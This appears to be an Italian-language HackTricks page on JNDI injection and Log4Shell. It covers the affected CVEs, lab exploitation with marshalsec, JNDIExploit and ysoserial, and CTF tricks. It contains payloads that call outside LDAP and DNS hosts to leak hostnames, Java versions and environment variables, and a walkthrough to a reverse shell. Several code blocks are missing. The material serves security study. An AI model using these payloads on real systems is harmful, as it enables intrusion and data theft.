JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, integrato in Java dalla fine degli anni '90, funge da servizio di directory, consentendo ai programmi Java di localizzare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce di provider di servizio (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Le SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
Gli oggetti Java possono essere memorizzati e recuperati utilizzando i Riferimenti di Denominazione JNDI, che si presentano in due forme:
Reference Addresses: Specifica la posizione di un oggetto (ad es., rmi://server/ref), consentendo il recupero diretto dall'indirizzo specificato.
Remote Factory: Riferisce a una classe factory remota. Quando viene accesso, la classe viene scaricata e istanziata dalla posizione remota.
Tuttavia, questo meccanismo può essere sfruttato, portando potenzialmente al caricamento e all'esecuzione di codice arbitrario. Come contromisura:
RMI: java.rmi.server.useCodeabseOnly = true
per impostazione predefinita da JDK 7u21, limitando il caricamento di oggetti remoti. Un Security Manager limita ulteriormente ciò che può essere caricato.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
per impostazione predefinita da JDK 6u141, 7u131, 8u121, bloccando l'esecuzione di oggetti Java caricati da remoto. Se impostato su true
, l'esecuzione di codice remoto è possibile senza la supervisione di un Security Manager.
CORBA: Non ha una proprietà specifica, ma il Security Manager è sempre attivo.
Tuttavia, il Naming Manager, responsabile della risoluzione dei collegamenti JNDI, manca di meccanismi di sicurezza integrati, consentendo potenzialmente il recupero di oggetti da qualsiasi fonte. Ciò rappresenta un rischio poiché le protezioni RMI, LDAP e CORBA possono essere eluse, portando al caricamento di oggetti Java arbitrari o sfruttando componenti esistenti dell'applicazione (gadgets) per eseguire codice malevolo.
Esempi di URL sfruttabili includono:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e la possibilità di eludere le protezioni esistenti.
Anche se hai impostato un PROVIDER_URL
, puoi indicarne uno diverso in un lookup e verrà accesso: ctx.lookup("<attacker-controlled-url>")
e questo è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.
CORBA (Common Object Request Broker Architecture) utilizza un Interoperable Object Reference (IOR) per identificare univocamente oggetti remoti. Questo riferimento include informazioni essenziali come:
Type ID: Identificatore unico per un'interfaccia.
Codebase: URL per ottenere la classe stub.
È importante notare che CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza comporta tipicamente:
Installazione di un Security Manager.
Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere ottenuto tramite:
Permesso socket, ad es., permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Permessi di lettura file, sia universalmente (permission java.io.FilePermission "<<ALL FILES>>", "read";
) o per directory specifiche in cui potrebbero essere posizionati file dannosi.
Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita.
Per RMI (Remote Method Invocation), la situazione è leggermente diversa. Come con CORBA, il download di classi arbitrarie è limitato per impostazione predefinita. Per sfruttare RMI, di solito è necessario eludere il Security Manager, un'impresa rilevante anche in CORBA.
Prima di tutto, dobbiamo distinguere tra una Ricerca e un Lookup.
Una ricerca utilizzerà un URL come ldap://localhost:389/o=JNDITutorial
per trovare l'oggetto JNDITutorial da un server LDAP e recuperare i suoi attributi.
Un lookup è destinato ai servizi di denominazione poiché vogliamo ottenere qualunque cosa sia legata a un nome.
Se la ricerca LDAP è stata invocata con SearchControls.setReturningObjFlag() con true
, allora l'oggetto restituito sarà ricostruito.
Pertanto, ci sono diversi modi per attaccare queste opzioni. Un attaccante può avvelenare i record LDAP introducendo payload su di essi che verranno eseguiti nei sistemi che li raccolgono (molto utile per compromettere decine di macchine se hai accesso al server LDAP). Un altro modo per sfruttare questo sarebbe eseguire un attacco MitM in una ricerca LDAP, ad esempio.
Nel caso tu possa far risolvere a un'app un URL JNDI LDAP, puoi controllare l'LDAP che verrà cercato e potresti restituire lo sfruttamento (log4shell).
L'exploit è serializzato e verrà deserializzato.
Nel caso trustURLCodebase
sia true
, un attaccante può fornire le proprie classi nella codebase, altrimenti dovrà abusare di gadgets nel classpath.
È più facile attaccare questo LDAP utilizzando JavaFactory references:
La vulnerabilità è introdotta in Log4j perché supporta una sintassi speciale nella forma ${prefix:name}
dove prefix
è uno dei diversi Lookups dove name
dovrebbe essere valutato. Ad esempio, ${java:version}
è la versione attualmente in esecuzione di Java.
LOG4J2-313 ha introdotto una funzionalità di Lookup jndi
. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con java:comp/env/
. Tuttavia, se la chiave stessa include un ":", questo prefisso predefinito non viene applicato.
Con un : presente nella chiave, come in ${jndi:ldap://example.com/a}
non c’è nessun prefisso e il server LDAP viene interrogato per l'oggetto. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j sia quando vengono registrate le righe.
Pertanto, l'unica cosa necessaria per ottenere RCE è una versione vulnerabile di Log4j che elabora informazioni controllate dall'utente. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (incluse le applicazioni esposte a Internet), era molto comune avere log4j che registrava, ad esempio, gli header HTTP ricevuti come il User-Agent. Tuttavia, log4j non è utilizzato solo per registrare informazioni HTTP ma qualsiasi input e dati indicati dallo sviluppatore.
Questa vulnerabilità è un difetto critico di deserializzazione non attendibile nel componente log4j-core
, che colpisce le versioni da 2.0-beta9 a 2.14.1. Consente l'esecuzione di codice remoto (RCE), consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del Alibaba Cloud Security Team e colpisce vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Le regole Sigma per la difesa sono disponibili (Regola 1, Regola 2).
Inizialmente valutato come basso ma successivamente aggiornato a critico, questo CVE è un difetto di Denial of Service (DoS) risultante da una correzione incompleta in 2.15.0 per CVE-2021-44228. Colpisce configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS tramite payload creati. Un tweet mostra un metodo di bypass. Il problema è stato risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i modelli di lookup dei messaggi e disabilitando JNDI per impostazione predefinita.
Colpisce le versioni Log4j 1.x in configurazioni non predefinite che utilizzano JMSAppender
, questo CVE è un difetto di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è giunto a fine vita, e si raccomanda di aggiornare a log4j-core 2.17.0
.
Questa vulnerabilità colpisce il framework di logging Logback, successore di Log4j 1.x. Inizialmente ritenuto sicuro, il framework è stato trovato vulnerabile, e sono state rilasciate versioni più recenti (1.3.0-alpha11 e 1.2.9) per affrontare il problema.
Log4j 2.16.0 contiene un difetto DoS, portando al rilascio di log4j 2.17.0
per correggere il CVE. Maggiori dettagli sono nel report di BleepingComputer.
Colpisce la versione log4j 2.17, questo CVE richiede che l'attaccante controlli il file di configurazione di log4j. Comporta una potenziale esecuzione di codice arbitrario tramite un JDBCAppender configurato. Maggiori dettagli sono disponibili nel post del blog di Checkmarx.
Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una richiesta DNS all'indirizzo che indichi nel tuo payload. Pertanto, payload come:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(utilizzando canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(utilizzando interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(utilizzando Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn}
(utilizzando dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
utilizzando (utilizzando huntress)
Nota che anche se viene ricevuta una richiesta DNS, ciò non significa che l'applicazione sia sfruttabile (o anche vulnerabile), dovrai provare a sfruttarla.
Ricorda che per sfruttare la versione 2.15 devi aggiungere il bypass del controllo localhost: ${jndi:ldap://127.0.0.1#...}
Cerca versioni vulnerabili locali della libreria con:
Alcune delle piattaforme elencate in precedenza ti permetteranno di inserire alcuni dati variabili che verranno registrati quando vengono richiesti. Questo può essere molto utile per 2 cose:
Per verificare la vulnerabilità
Per esfiltrare informazioni abusando della vulnerabilità
Ad esempio, potresti richiedere qualcosa come:
o come ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
e se viene ricevuta una richiesta DNS con il valore della variabile env, sai che l'applicazione è vulnerabile.
Altre informazioni che potresti provare a leak:
Gli host che eseguono versioni JDK superiori a 6u141, 7u131 o 8u121 sono protetti contro il vettore di attacco del caricamento della classe LDAP. Questo è dovuto alla disattivazione predefinita di com.sun.jndi.ldap.object.trustURLCodebase
, che impedisce a JNDI di caricare un codice remoto tramite LDAP. Tuttavia, è fondamentale notare che queste versioni non sono protette contro il vettore di attacco della deserializzazione.
Per gli attaccanti che mirano a sfruttare queste versioni JDK superiori, è necessario sfruttare un gadget fidato all'interno dell'applicazione Java. Strumenti come ysoserial o JNDIExploit sono spesso utilizzati a questo scopo. Al contrario, sfruttare versioni JDK inferiori è relativamente più facile poiché queste versioni possono essere manipolate per caricare ed eseguire classi arbitrarie.
Per maggiori informazioni (come le limitazioni sui vettori RMI e CORBA) controlla la sezione precedente sulla Riferimento JNDI Naming o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
Puoi testare questo nella THM box: https://tryhackme.com/room/solar
Usa lo strumento marshalsec (versione jar disponibile qui). Questo approccio stabilisce un server di referral LDAP per reindirizzare le connessioni a un server HTTP secondario dove sarà ospitato l'exploit:
Per indurre il bersaglio a caricare un codice di reverse shell, crea un file Java chiamato Exploit.java
con il contenuto sottostante:
Compila il file Java in un file di classe usando: javac Exploit.java -source 8 -target 8
. Successivamente, avvia un server HTTP nella directory contenente il file di classe con: python3 -m http.server
. Assicurati che il server LDAP marshalsec faccia riferimento a questo server HTTP.
Attiva l'esecuzione della classe di exploit sul server web vulnerabile inviando un payload simile a:
Nota: Questo exploit si basa sulla configurazione di Java per consentire il caricamento di codebase remote tramite LDAP. Se ciò non è consentito, considera di sfruttare una classe fidata per l'esecuzione di codice arbitrario.
Nota che per qualche motivo l'autore ha rimosso questo progetto da github dopo la scoperta di log4shell. Puoi trovare una versione cache in https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 ma se vuoi rispettare la decisione dell'autore usa un metodo diverso per sfruttare questa vulnerabilità.
Inoltre, non puoi trovare il codice sorgente nella wayback machine, quindi analizza il codice sorgente o esegui il jar sapendo che non sai cosa stai eseguendo.
Per questo esempio puoi semplicemente eseguire questo server web vulnerabile a log4shell sulla porta 8080: https://github.com/christophetd/log4shell-vulnerable-app (nel README troverai come eseguirlo). Questa app vulnerabile sta registrando con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP X-Api-Version.
Poi, puoi scaricare il file jar di JNDIExploit ed eseguirlo con:
Dopo aver letto il codice per un paio di minuti, in com.feihong.ldap.LdapServer e com.feihong.ldap.HTTPServer puoi vedere come vengono creati i server LDAP e HTTP. Il server LDAP capirà quale payload deve essere servito e reindirizzerà la vittima al server HTTP, che servirà l'exploit. In com.feihong.ldap.gadgets puoi trovare alcuni gadget specifici che possono essere utilizzati per eseguire l'azione desiderata (potenzialmente eseguire codice arbitrario). E in com.feihong.ldap.template puoi vedere le diverse classi di template che genereranno gli exploit.
Puoi vedere tutti gli exploit disponibili con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Alcuni utili sono:
Quindi, nel nostro esempio, abbiamo già l'app vulnerabile docker in esecuzione. Per attaccarla:
Quando invii gli attacchi, vedrai alcuni output nel terminale in cui hai eseguito JNDIExploit-1.2-SNAPSHOT.jar.
Ricorda di controllare java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.
In modo simile all'exploit precedente, puoi provare a utilizzare JNDI-Exploit-Kit per sfruttare questa vulnerabilità. Puoi generare gli URL da inviare alla vittima eseguendo:
Questo attacco utilizzando un oggetto java generato su misura funzionerà in laboratori come la THM solar room. Tuttavia, questo generalmente non funzionerà (poiché per impostazione predefinita Java non è configurato per caricare un codice remoto utilizzando LDAP) penso perché non sta abusando di una classe fidata per eseguire codice arbitrario.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus è un altro strumento per generare link JNDI funzionanti e fornire servizi di backend avviando server RMI, server LDAP e server HTTP.\
Questa opzione è davvero utile per attaccare versioni Java configurate per fidarsi solo di classi specificate e non di tutti. Pertanto, ysoserial sarà utilizzato per generare serializzazioni di classi fidate che possono essere utilizzate come gadget per eseguire codice arbitrario (la classe fidata abusata da ysoserial deve essere utilizzata dal programma java della vittima affinché l'exploit funzioni).
Utilizzando ysoserial o ysoserial-modified puoi creare l'exploit di deserializzazione che sarà scaricato da JNDI:
Usa JNDI-Exploit-Kit per generare link JNDI dove l'exploit attenderà connessioni dalle macchine vulnerabili. Puoi servire diversi exploit che possono essere generati automaticamente dal JNDI-Exploit-Kit o anche i tuoi payload di deserializzazione (generati da te o da ysoserial).
Ora puoi facilmente utilizzare un link JNDI generato per sfruttare la vulnerabilità e ottenere una reverse shell semplicemente inviando a una versione vulnerabile di log4j: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Trova librerie vulnerabili locali
In questo CTF writeup è ben spiegato come sia potenzialmente possibile abusare di alcune funzionalità di Log4J.
La pagina di sicurezza di Log4j contiene alcune frasi interessanti:
A partire dalla versione 2.16.0 (per Java 8), la funzionalità di ricerca dei messaggi è stata completamente rimossa. Le ricerche nella configurazione funzionano ancora. Inoltre, Log4j ora disabilita l'accesso a JNDI per impostazione predefinita. Le ricerche JNDI nella configurazione devono ora essere abilitate esplicitamente.
A partire dalla versione 2.17.0 (e 2.12.3 e 2.3.1 per Java 7 e Java 6), solo le stringhe di ricerca nella configurazione vengono espanse ricorsivamente; in qualsiasi altro utilizzo, solo la ricerca di primo livello viene risolta, e le ricerche annidate non vengono risolte.
Questo significa che per impostazione predefinita puoi dimenticare di utilizzare qualsiasi exploit jndi
. Inoltre, per eseguire ricerche ricorsive è necessario configurarle.
Ad esempio, in quel CTF questo era configurato nel file log4j2.xml:
In questo CTF l'attaccante controllava il valore di ${sys:cmd}
e doveva esfiltrare il flag da una variabile di ambiente.
Come visto in questa pagina in payload precedenti ci sono diversi modi per accedere alle variabili di ambiente, come: ${env:FLAG}
. In questo CTF questo era inutile, ma potrebbe non esserlo in altri scenari della vita reale.
Nel CTF, non potevi accedere allo stderr dell'applicazione java usando log4J, ma le eccezioni di Log4J vengono inviate a stdout, che veniva stampato nell'app python. Questo significava che attivando un'eccezione potevamo accedere al contenuto. Un'eccezione per esfiltrare il flag era: ${java:${env:FLAG}}
. Questo funziona perché ${java:CTF{blahblah}}
non esiste e un'eccezione con il valore del flag verrà mostrata:
Solo per menzionarlo, potresti anche iniettare nuovi pattern di conversione e attivare eccezioni che verranno registrate in stdout
. Ad esempio:
Questo non è stato trovato utile per esfiltrare dati all'interno del messaggio di errore, perché la ricerca non veniva risolta prima del pattern di conversione, ma potrebbe essere utile per altre cose come il rilevamento.
Tuttavia, è possibile utilizzare alcuni pattern di conversione che supportano regex per esfiltrare informazioni da una ricerca utilizzando regex e abusando dei comportamenti di ricerca binaria o basati sul tempo.
Ricerca binaria tramite messaggi di eccezione
Il pattern di conversione %replace
può essere utilizzato per sostituire contenuto da una stringa anche utilizzando regex. Funziona in questo modo: replace{pattern}{regex}{substitution}
Abusando di questo comportamento potresti far sì che la sostituzione attivi un'eccezione se la regex corrispondeva a qualcosa all'interno della stringa (e nessuna eccezione se non veniva trovata) in questo modo:
Basato sul tempo
Come menzionato nella sezione precedente, %replace
supporta regexes. Quindi è possibile utilizzare un payload dalla pagina ReDoS per causare un timeout nel caso in cui il flag venga trovato.
Ad esempio, un payload come %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
attiverebbe un timeout in quel CTF.
In questo writeup, invece di utilizzare un attacco ReDoS, ha utilizzato un attacco di amplificazione per causare una differenza di tempo nella risposta:
Se il flag inizia con
flagGuess
, l'intero flag viene sostituito con 29#
-s (ho usato questo carattere perché probabilmente non farebbe parte del flag). Ognuno dei 29#
-s risultanti viene quindi sostituito da 54#
-s. Questo processo viene ripetuto 6 volte, portando a un totale di29*54*54^6* =`` ``
96816014208
#
-s!Sostituire così tanti
#
-s attiverà il timeout di 10 secondi dell'applicazione Flask, il che a sua volta comporterà l'invio del codice di stato HTTP 500 all'utente. (Se il flag non inizia conflagGuess
, riceveremo un codice di stato diverso da 500)
Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)